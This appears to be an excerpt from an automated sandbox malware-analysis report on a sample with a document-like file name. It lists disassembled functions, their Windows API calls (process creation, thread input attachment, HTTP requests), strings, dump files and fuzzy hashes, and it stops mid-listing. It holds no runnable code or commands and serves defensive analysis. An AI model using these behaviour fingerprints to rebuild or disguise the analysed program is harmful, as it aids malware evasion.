Download Yara Rule

APIs

GetParent.USER32 ref: 0074C8D9
GetClassNameW.USER32(00000000,?,00000100), ref: 0074C8EE
_wcscmp.LIBCMT ref: 0074C900
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0074C97B

Strings

SHELLDLL_DefView, xrefs: 0074C8FA
list, xrefs: 0074C95D
smallicons, xrefs: 0074C943
details, xrefs: 0074C929
largeicons, xrefs: 0074C90F

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: e1c10429852ec6bb895d640e28f524c4ebab9209c6047c7b9e90e46d1a8f7758
Instruction ID: 522b3efbdb212d5cdb1110561f9a55e05d3b9fd2f00cf9fa1f950e72d2d66104
Opcode Fuzzy Hash: e1c10429852ec6bb895d640e28f524c4ebab9209c6047c7b9e90e46d1a8f7758
Instruction Fuzzy Hash: 1911ACF7649702FAF6552A30DC0BDA6B7ACDB06764F20401AF900A50D3FBAD7D129554

Function 0076B74B Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0076B777
CoInitialize.OLE32(00000000), ref: 0076B7A4
CoUninitialize.COMBASE ref: 0076B7AE
GetRunningObjectTable.OLE32(00000000,?), ref: 0076B8AE
SetErrorMode.KERNEL32(00000001,00000029), ref: 0076B9DB
CoGetInstanceFromFile.COMBASE(00000000,?,00000000,00000015,00000002), ref: 0076BA0F
CoGetObject.OLE32(?,00000000,0079D91C,?), ref: 0076BA32
SetErrorMode.KERNEL32(00000000), ref: 0076BA45
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0076BAC5
VariantClear.OLEAUT32(0079D91C), ref: 0076BAD5

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: a20b77c86dc94f0a080030c3c4ad90a9a5cc3bd929d79aa3d1ad9d0b5fd520a5
Instruction ID: c3ed6785094542911c0daae75b1352a314ca3907558a5366092b2eaa106a2bfb
Opcode Fuzzy Hash: a20b77c86dc94f0a080030c3c4ad90a9a5cc3bd929d79aa3d1ad9d0b5fd520a5
Instruction Fuzzy Hash: A4C102B1608305AFC700DF68C88896AB7E9FF89314F00491DF98ADB251DB79ED45CB92

Function 0075B05A Relevance: 15.3, APIs: 10, Instructions: 317COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(?,00000000), ref: 0075B137

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 48259a40c4ad537c79c9bd854c69afba4685eed1325ce8f2bc33d976c179983e
Instruction ID: 56b4bbdfb81617789b22691e2c9f69f676d1f2f04d62d9a399f5cbcdb86ba412
Opcode Fuzzy Hash: 48259a40c4ad537c79c9bd854c69afba4685eed1325ce8f2bc33d976c179983e
Instruction Fuzzy Hash: 05C18175A0021ADFDB00CF98D485BFEB7B4FF08316F20406AEA15E7251C7B8A949CB95

Function 0073BA66 Relevance: 15.2, APIs: 10, Instructions: 219COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0073BA74

Part of subcall function 00738984: __mtinitlocknum.LIBCMT ref: 00738996
Part of subcall function 00738984: RtlEnterCriticalSection.NTDLL(00730127), ref: 007389AF

__calloc_crt.LIBCMT ref: 0073BA85

Part of subcall function 00737616: __calloc_impl.LIBCMT ref: 00737625
Part of subcall function 00737616: Sleep.KERNEL32(00000000,?,00730127,?,0071125D,00000058,?,?), ref: 0073763C

@_EH4_CallFilterFunc@8.LIBCMT ref: 0073BAA0
GetStartupInfoW.KERNEL32(?,007C6990,00000064,00736B14,007C67D8,00000014), ref: 0073BAF9
__calloc_crt.LIBCMT ref: 0073BB44
GetFileType.KERNEL32(00000001), ref: 0073BB8B
InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 0073BBC4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 1426640281-0
Opcode ID: f1d343491622ddf47485026a3f2a0df85a4997670dc023cd4df771d3bc81542e
Instruction ID: ef0bc629c128fe5ed85854b1d1a12051e2cbc18c5f2cd448ea54e1da55f7a7a6
Opcode Fuzzy Hash: f1d343491622ddf47485026a3f2a0df85a4997670dc023cd4df771d3bc81542e
Instruction Fuzzy Hash: 2B81D5B0905745CFEB24CF68C8546ADBBB0AF05324F24925ED5A6A73D2DB3C9803CB64

Function 00754A5B Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00754A7D
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00753AD7,?,00000001), ref: 00754A91
GetWindowThreadProcessId.USER32(00000000), ref: 00754A98
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00753AD7,?,00000001), ref: 00754AA7
GetWindowThreadProcessId.USER32(?,00000000), ref: 00754AB9
AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00753AD7,?,00000001), ref: 00754AD2
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00753AD7,?,00000001), ref: 00754AE4
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00753AD7,?,00000001), ref: 00754B29
AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00753AD7,?,00000001), ref: 00754B3E
AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00753AD7,?,00000001), ref: 00754B49

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 8541f3925b18ac577b524a27298d4b2a870ce60f328f14864cdb39e32d72b1c5
Instruction ID: f20c975985742f9249c17e9ace513acc88e71647073e0c7f2ca24df434ab7e52
Opcode Fuzzy Hash: 8541f3925b18ac577b524a27298d4b2a870ce60f328f14864cdb39e32d72b1c5
Instruction Fuzzy Hash: 9731A5B1601204BFDB209B54EC88BA977BAEB80356F14C006FD04D7190D7FDDD858B69

Function 0078EC19 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?), ref: 0078EC32
SendMessageW.USER32(?,00001328,00000000,?), ref: 0078EC49
GetWindowDC.USER32(?), ref: 0078EC55
GetPixel.GDI32(00000000,?,?), ref: 0078EC64
ReleaseDC.USER32(?,00000000), ref: 0078EC76
GetSysColor.USER32(00000005), ref: 0078EC94

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ClientColorMessagePixelRectReleaseSendWindow
String ID:
API String ID: 272304278-0
Opcode ID: 8eb2187a6fffc01327452f0906befd92d1825dc328f4f3dbd39c5591b2d8d021
Instruction ID: b5f3f56f9002902a6fbb058f86b225cb12f664c5ad4b330056aa15253c6784de
Opcode Fuzzy Hash: 8eb2187a6fffc01327452f0906befd92d1825dc328f4f3dbd39c5591b2d8d021
Instruction Fuzzy Hash: 74215C31540208EFDB21AB64EC48BA97B71FB04321F118222FA26A50E1DB390D52DF25

Function 0074D978 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0074DD46), ref: 0074DC86

Strings

REGEXPCLASS, xrefs: 0074DA4C
CLASS, xrefs: 0074DA06
INSTANCE, xrefs: 0074DB94
CLASSNN, xrefs: 0074DA29
TEXT, xrefs: 0074DBBD
NAME, xrefs: 0074DAB8

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 638728c842c9126c341159fa220d312ac30d7f83d40ec706814779a23a110cca
Instruction ID: 1aab84f2e8922015c6fa71c35b270a6db90d8a5e06d86aed39334b8f19b33263
Opcode Fuzzy Hash: 638728c842c9126c341159fa220d312ac30d7f83d40ec706814779a23a110cca
Instruction Fuzzy Hash: C191B770A00506EACB18DF64C4D5BEDF7B5FF04310F548129D89AA7291DF786D8ACBA0

Function 007145A7 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 211COMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 007145F0
CoUninitialize.COMBASE ref: 00714695
UnregisterHotKey.USER32(?), ref: 007147BD
DestroyWindow.USER32(?), ref: 00785936
FreeLibrary.KERNEL32(?), ref: 0078599D
VirtualFree.KERNEL32(?,00000000,00008000), ref: 007859CA

Strings

close all, xrefs: 007145EB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: d66ab7790735f44871e0a055d3b6618dc2f062e493538ce49668af8af70fc75f
Instruction ID: 8504208418025309b91ec6a8c59da8015a72d74c307c90ee93d0251faf1d7b90
Opcode Fuzzy Hash: d66ab7790735f44871e0a055d3b6618dc2f062e493538ce49668af8af70fc75f
Instruction Fuzzy Hash: FD912035600602CFC719EF18D899EA8F3B4FF15704F5541A9E40AA72A2DB38ADA7CF54

Function 0072C24A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 0072C2D2

Part of subcall function 0072C697: GetClientRect.USER32(?,?), ref: 0072C6C0
Part of subcall function 0072C697: GetWindowRect.USER32(?,?), ref: 0072C701
Part of subcall function 0072C697: ScreenToClient.USER32(?,?), ref: 0072C729

GetDC.USER32 ref: 0078E006
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0078E019
SelectObject.GDI32(00000000,00000000), ref: 0078E027
SelectObject.GDI32(00000000,00000000), ref: 0078E03C
ReleaseDC.USER32(?,00000000), ref: 0078E044
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0078E0CF

Strings

U, xrefs: 0078DFA4

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 3bfa6dccb5bc1fa4f174d592edb969a141e259b23890892a45c90476fa9cd4c7
Instruction ID: 849615fae4a91bde30d256760ae0c94500c66238404bd96573d53e7fc37427b3
Opcode Fuzzy Hash: 3bfa6dccb5bc1fa4f174d592edb969a141e259b23890892a45c90476fa9cd4c7
Instruction Fuzzy Hash: 7871F331500208EFCF21EF64CC84AEA7BB5FF58360F248666ED555A1A6C7398C41DB61

Function 00764C23 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00764C5E
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00764C8A
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00764CCC
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00764CE1
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00764CEE
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00764D1E
InternetCloseHandle.WININET(00000000), ref: 00764D65

Part of subcall function 007656A9: GetLastError.KERNEL32(?,?,00764A2B,00000000,00000000,00000001), ref: 007656BE

Strings

, xrefs: 00764D17

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
String ID:
API String ID: 1241431887-3916222277
Opcode ID: f1dfc98e6886d377b0a5ad65d1e1f0d867598850ef83f74f142e276818ac4235
Instruction ID: 65a8da6b3e7b52c815cbcc64fd8e705dd87f0172b35dc1821be62a303d5f11cb
Opcode Fuzzy Hash: f1dfc98e6886d377b0a5ad65d1e1f0d867598850ef83f74f142e276818ac4235
Instruction Fuzzy Hash: 3F417FB1A01618BFEB119FA0CD89FFA77ACEF08354F108116FE029A151D7789D459BA4

Function 0076BAE6 Relevance: 13.9, APIs: 9, Instructions: 419COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,007ADBF0), ref: 0076BBA1
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,007ADBF0), ref: 0076BBD5
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 0076BD33
SysFreeString.OLEAUT32(?), ref: 0076BD5D
StringFromGUID2.COMBASE(?,?,00000028), ref: 0076BEAD
ProgIDFromCLSID.COMBASE(?,?), ref: 0076BEF7
CoTaskMemFree.COMBASE(?), ref: 0076BF14

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Free$FromString$FileLibraryModuleNamePathProgQueryTaskType
String ID:
API String ID: 793797124-0
Opcode ID: 8de173a56b3b324df9e26a6bdae48039bff1a85c8704b795396e58cc5bb39797
Instruction ID: 069c74e87f8c62817180cd3d1542413947453626f875f8181429d39611ee3df7
Opcode Fuzzy Hash: 8de173a56b3b324df9e26a6bdae48039bff1a85c8704b795396e58cc5bb39797
Instruction Fuzzy Hash: DBF10A75A00109EFCB14DFA4C888EAEB7B9FF89315F148459F906EB250DB35AE85CB50

Function 007723C5 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 007723E6
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00772579
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 0077259D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 007725DD
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 007725FF
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00772760
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00772792
CloseHandle.KERNEL32(?), ref: 007727C1
CloseHandle.KERNEL32(?), ref: 00772838

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: e16ca64e0912cbbf2a48ae75a750e63f374fc9dc408036283526dba7c26b3462
Instruction ID: a098fca565b7d8d1d0bd96eb654732213a07a3a32a40c01b9f6fcf03805e5ab9
Opcode Fuzzy Hash: e16ca64e0912cbbf2a48ae75a750e63f374fc9dc408036283526dba7c26b3462
Instruction Fuzzy Hash: 8AD1D331204341DFCB25EF24C895BAABBE1AF85350F14C45DF8999B2A2DB38DC46CB52

Function 0072B86E Relevance: 13.7, APIs: 9, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 007149CA: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00714954,00000000), ref: 00714A23

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,0072B85B), ref: 0072B926
KillTimer.USER32(00000000,?,00000000,?,?,?,?,0072B85B,00000000,?,?,0072AF1E,?,?), ref: 0072B9BD
DestroyAcceleratorTable.USER32(00000000), ref: 0078E775
DeleteObject.GDI32(00000000), ref: 0078E7EB

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Destroy$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 2402799130-0
Opcode ID: 13ef19e642e36f40c4889a78587dcae3d9a44253c0855da9b956d25c0bb8b2ba
Instruction ID: 90181f8dcd405c54cd76c60fc04ef42b5e87ea15039b460e44e1a818650421f4
Opcode Fuzzy Hash: 13ef19e642e36f40c4889a78587dcae3d9a44253c0855da9b956d25c0bb8b2ba
Instruction Fuzzy Hash: AE618930101621EFDB32EF29E988B25B7F5FB45321F50852AE18686670C77CB8D1EB48

Function 0077B14A Relevance: 13.7, APIs: 9, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0077B204

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: a39501163c7ebf7158826743d6215927f895b56fd90b484d5e72a7a12b425099
Instruction ID: 61c238903017bb6b7ff8c389d4cdd53fadd25596173f7874c5e914623382d7ef
Opcode Fuzzy Hash: a39501163c7ebf7158826743d6215927f895b56fd90b484d5e72a7a12b425099
Instruction Fuzzy Hash: F7517230500218FFEF349F688C99B9E7B65FB063A8F60C112F919D61A1CB79E990DB50

Function 0072A599 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0078E9EA
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0078EA0B
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0078EA20
